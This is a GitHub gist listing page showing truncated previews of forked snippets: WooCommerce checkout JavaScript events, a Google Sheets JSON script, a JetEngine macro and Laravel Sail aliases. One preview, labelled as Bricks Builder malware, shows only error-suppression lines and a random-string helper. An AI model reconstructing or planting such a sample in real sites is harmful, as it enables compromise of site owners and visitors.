Skip to content

Instantly share code, notes, and snippets.

@kevindaus
kevindaus / woo-events.js
Created August 29, 2024 08:27 — forked from bagerathan/woo-events.js
[Woocommerce Javascript events] #woo
//Woocommerce Checkout JS events
$( document.body ).trigger( 'init_checkout' );
$( document.body ).trigger( 'payment_method_selected' );
$( document.body ).trigger( 'update_checkout' );
$( document.body ).trigger( 'updated_checkout' );
$( document.body ).trigger( 'checkout_error' );
//Woocommerce cart page JS events
$( document.body ).trigger( 'wc_cart_emptied' );
$( document.body ).trigger( 'update_checkout' );
@kevindaus
kevindaus / malware1.php
Created February 19, 2024 01:03 — forked from lynt-smitka/malware1.php
Bircks Builder <1.9.6.1 Malware
<?php
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
function genstr($length = 10)
{
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
@kevindaus
kevindaus / googleSheetsEndpoint.js
Created July 26, 2023 14:49 — forked from thisbit/googleSheetsEndpoint.js
Google Sheets as JSON, use this with Extensions > App Script in google sheets
function getSheetDataAsJSON() {
var sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
var range = sheet.getDataRange();
var values = range.getValues();
var headers = values[0];
var jsonData = [];
for (var i = 1; i < values.length; i++) {
var row = values[i];
var rowObj = {};
@kevindaus
kevindaus / macro-example.php
Last active November 24, 2022 12:14 — forked from Crocoblock/macro-example.php
How to create custom macro in Crocoblock JetEngine
<?php
/**
* Heres how to add custom macro for JetEngine.
* In This example - get the current user property, such as ID, user_email, etc.
* Note!
* Register macros on jet-engine/register-macros action only,
* as the base macro class \Jet_Engine_Base_Macros is not available before that action;
* after it - all macros are registered already
*/
@kevindaus
kevindaus / sail-aliases
Created June 30, 2022 03:25 — forked from elijahcruz12/sail-aliases
Laravel Sail Aliases
alias sail='bash vendor/bin/sail'
alias sdown='bash vendor/bin/sail down'
alias sa='bash vendor/bin/sail artisan'
alias sup='bash vendor/bin/sail up -d'
alias sdown='bash vendor/bin/sail down'
alias snpm='bash vendor/bin/sail npm'
alias sdev='bash vendor/bin/sail npm run development'
alias sprod='bash vendor/bin/sail npm run production'
alias snpmi='bash vendor/bin/sail npm install'
alias snpmu='bash vendor/bin/sail npm update'